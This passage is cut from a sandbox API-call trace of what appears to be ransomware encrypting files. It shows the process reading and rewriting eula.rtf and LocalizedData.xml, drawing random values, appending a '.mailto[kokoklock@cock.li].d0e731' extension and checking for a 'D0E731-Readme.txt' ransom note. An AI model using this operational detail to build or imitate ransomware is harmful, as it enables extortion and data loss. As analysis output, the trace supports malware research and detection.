lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9f6fd50*=0x4, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9f6fd50*=0x6c, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0x9f6fd50*=0x20, lpOverlapped=0x0) returned 1 [0166.746] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9f6fd50, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9f6fd50*=0x4, lpOverlapped=0x0) returned 1 [0166.746] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.747] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46e0) returned 1 [0166.747] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46b8) returned 1 [0166.747] CloseHandle (hObject=0x528) returned 1 [0166.747] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.747] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.747] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.747] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.748] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.748] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.748] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0166.748] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" [0166.748] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\d0e731-readme.txt")) returned 0x20 [0166.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.748] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d020) returned 1 [0166.748] RtlExitUserThread (Status=0x1) Thread: id = 1632 os_tid = 0x48c [0166.751] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.752] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.753] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x9fef8d8 | out: lpFileSize=0x9fef8d8*=7043) returned 1 [0166.753] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1b7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.753] ReadFile (in: hFile=0x528, lpBuffer=0x9fef8ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x9fef8ac*, lpNumberOfBytesRead=0x9fef8a8*=0x4, lpOverlapped=0x0) returned 1 [0166.754] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46b8 [0166.754] NtQuerySystemTime (in: CurrentTime=0x9fef884 | out: CurrentTime=0x9fef884*=132121213240644076) returned 0x0 [0166.754] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xde53807b [0166.754] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xb11670c9 [0166.754] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xea737937 [0166.754] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xd07d6e60 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x373aa8c4 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x9399d835 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xa118f6d4 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xd56f1993 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xcffb12cc [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xf91ae3a [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x6685befe [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xe688a224 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x6f895907 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x9d159437 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x210a98ed [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x3a217bfe [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xfe8d6b06 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x26374c14 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x34d1bb44 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x5ec87fa4 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x450bbf80 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x43a5a6a7 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x1970486 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x577fc3b8 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xcc5a617c [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x460e7bb8 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x3cf6095d [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xd5ac2878 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xd2f9cd84 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x135f3cca [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0x7a782108 [0166.755] RtlRandom (in: Seed=0x9fef890 | out: Seed=0x9fef890) returned 0xd8e840aa [0166.765] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46e0 [0166.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4708 [0166.767] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.767] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.767] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.768] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4730 [0166.768] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4730) returned 1 [0166.768] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.768] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.768] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x1b83, lpNumberOfBytesRead=0x9fef884, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x9fef884*=0x1b83, lpOverlapped=0x0) returned 1 [0166.768] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x9fef84c | out: lpNewFilePointer=0x0) returned 1 [0166.769] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x1b83, lpNumberOfBytesWritten=0x9fef880, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x9fef880*=0x1b83, lpOverlapped=0x0) returned 1 [0166.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.769] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.769] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9fef87c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0x9fef87c*=0x20, lpOverlapped=0x0) returned 1 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.769] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.769] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4708*, lpNumberOfBytesWritten=0x9fef8a8*=0x8, lpOverlapped=0x0) returned 1 [0166.769] WriteFile (in: hFile=0x528, lpBuffer=0x9fef8c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x9fef8c0*, lpNumberOfBytesWritten=0x9fef8a8*=0x4, lpOverlapped=0x0) returned 1 [0166.769] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x9fef8a8*=0x4, lpOverlapped=0x0) returned 1 [0166.770] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x9fef8a8*=0x6c, lpOverlapped=0x0) returned 1 [0166.770] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0x9fef8a8*=0x20, lpOverlapped=0x0) returned 1 [0166.770] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9fef8a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x9fef8a8*=0x4, lpOverlapped=0x0) returned 1 [0166.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe46e0) returned 1 [0166.770] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4708) returned 1 [0166.770] CloseHandle (hObject=0x528) returned 1 [0166.770] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.770] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.770] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.770] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.771] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.771] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.771] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.772] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0166.772] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" [0166.772] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\d0e731-readme.txt")) returned 0x20 [0166.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f89320) returned 1 [0166.772] RtlExitUserThread (Status=0x1) Thread: id = 1633 os_tid = 0x594 [0166.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.775] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.775] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.775] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa06f77c | out: lpFileSize=0xa06f77c*=72268) returned 1 [0166.775] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x11a48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.775] ReadFile (in: hFile=0x528, lpBuffer=0xa06f750, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0xa06f750*, lpNumberOfBytesRead=0xa06f74c*=0x4, lpOverlapped=0x0) returned 1 [0166.776] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe46e0 [0166.777] NtQuerySystemTime (in: CurrentTime=0xa06f728 | out: CurrentTime=0xa06f728*=132121213240948294) returned 0x0 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x900389ec [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x661533d9 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x906232 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x3665125a [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x1abb1cc1 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x1e14555a [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x1d39dbe0 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x3ef628d5 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x30d5c20e [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xcab87524 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x6001a17d [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x40e90e0 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xfa7ba551 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xf797bebb [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x2a62e540 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x7e259413 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xf86e14a [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xc1d88ba1 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xc0fbd386 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x96cc01aa [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xfe291699 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x8543bbdc [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xfd8c6d72 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x61f979c8 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xe002cd98 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xf55c6c65 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xad7a239e [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x18250307 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x8fc014e0 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x79c8a6c3 [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0xf938bdca [0166.777] RtlRandom (in: Seed=0xa06f734 | out: Seed=0xa06f734) returned 0x80cc7839 [0166.786] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4708 [0166.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4730 [0166.789] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.789] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.789] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.789] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa06f700, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa06f700*=0x4096, lpOverlapped=0x0) returned 1 [0166.790] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4758 [0166.790] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4758) returned 1 [0166.790] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.791] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.791] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.791] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa06f700, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa06f700*=0x4096, lpOverlapped=0x0) returned 1 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.791] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x11a4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.791] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa06f738, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa06f738*=0x20, lpOverlapped=0x0) returned 1 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.791] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4730*, lpNumberOfBytesWritten=0xa06f74c*=0x8, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x528, lpBuffer=0xa06f764*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0xa06f764*, lpNumberOfBytesWritten=0xa06f74c*=0x4, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa06f74c*=0x4, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa06f74c*=0x6c, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa06f74c*=0x20, lpOverlapped=0x0) returned 1 [0166.792] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa06f74c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa06f74c*=0x4, lpOverlapped=0x0) returned 1 [0166.792] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.792] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4708) returned 1 [0166.792] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4730) returned 1 [0166.792] CloseHandle (hObject=0x528) returned 1 [0166.792] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.792] wcscpy (in: _Dest=0x2fc3290, 